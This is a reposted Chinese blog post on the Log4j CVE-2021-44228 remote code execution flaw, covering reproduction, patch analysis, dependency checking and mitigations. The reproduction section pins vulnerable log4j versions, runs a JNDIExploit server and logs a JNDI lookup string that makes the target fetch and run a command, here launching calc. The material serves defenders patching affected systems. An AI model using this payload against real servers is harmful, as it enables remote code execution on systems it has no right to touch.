ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

CVE-2021-44228:Apache Log4j RCE

2021-12-18 13:30:14  阅读:311  来源: 互联网

标签:Log4j 漏洞 2021 org Apache RCE 2.15 log4j


文章前言

本篇文章我们主要介绍关于CVE-2021-44228:Apache Log4j RCE漏洞的自检与修复,帮助甲方人员尽快修复项目中存在的不安全依赖

漏洞概述

Apache Log4j2是⼀个基于Java的⽇志记录⼯具,该⼯具重写了Log4j框架,并且引⼊了⼤量丰富的特性,该⽇志框架被⼤量⽤于业务系统开发,⽤来记录⽇志信息,⼤多数情况下,开发者可能会将⽤户输⼊导致的错误信息写⼊⽇志中,由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执⾏漏洞。该漏洞利⽤⽆需特殊配置,经阿⾥云安全团队验证Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响,此次漏洞触发条件为只要外部⽤户输⼊的数据会被⽇志记录,即可造成远程代码执⾏。

漏洞复现

Step 1:pom.xml中增加以下依赖:

    <dependency>
      <groupId>org.apache.logging.log4j</groupId>
      <artifactId>log4j-core</artifactId>
      <version>2.14.1</version>
    </dependency>
    <dependency>
      <groupId>org.apache.logging.log4j</groupId>
      <artifactId>log4j-api</artifactId>
      <version>2.14.1</version>
    </dependency>

 Step 2:之后使用JNDIExploit启动JNDI并注入Server

java -jar JNDIExploit.jar -i 127.0.0.1

Step 3:构造以下利用代码

package org.log4js;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4jAttack {
    private static final Logger logger = LogManager.getLogger(Log4jAttack.class);
    public static void main(String[] args) {
        logger.error("${jndi:ldap://127.0.0.1:1389/Basic/Command/Base64/Y21kLmV4ZSAvYyBjYWxjLmV4ZQ==}");
    }
}

 Step 4:执行程序

补丁分析

Log4j-2.15.0-rc1

Log4j-2.15-rc1默认关闭lookup功能,且增加了白名单校验

Log4j-2.15.0-rc2

Log4j-2.15-rc1的修复版本中在异常发生时未进行return,之后会直接this.context.lookup,从而再次导致RCE

 Log4j-2.15.0-rc2的修复方案是直接return,有效解决了上文的绕过

try{
    ....
} catch (URISyntaxException ex) {
    LOGGER.warn("Invalid JNDI URI - {}", name);
    return null;
}
return (T) this.context.lookup(name);

Apache Log4j 2.15.0

据悉Apache Log4j 2.15.0存在信息泄露漏洞,可用于从受影响的服务器下载数据

漏洞自检

检测项目是否使用不安全的log4j-core依赖项,下面是一些扩展的受影响的依赖:

GitHub - LoRexxar/log_dependency_checklist: Dependencies with Log4j2 Checklist

甲方修复

1、建议尽快升级到 2.16.0版本

2、禁止使用log4j服务器外连,升级JDK到11.0.1 8u191 7u201 6u1版本之后

3、紧急缓解措施:

(1) 修改JVM参数:-Dlog4j2.formatMsgNolookups=true

(2) 修改配置log4j2.formatMsgNolookups=True

(3) 将系统环境变量FORMAT_MESSAGES_PATTERN_IDSABLE_LOOKUPS设置未true

标签:Log4j,漏洞,2021,org,Apache,RCE,2.15,log4j
来源: https://blog.csdn.net/Fly_hps/article/details/122010966

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有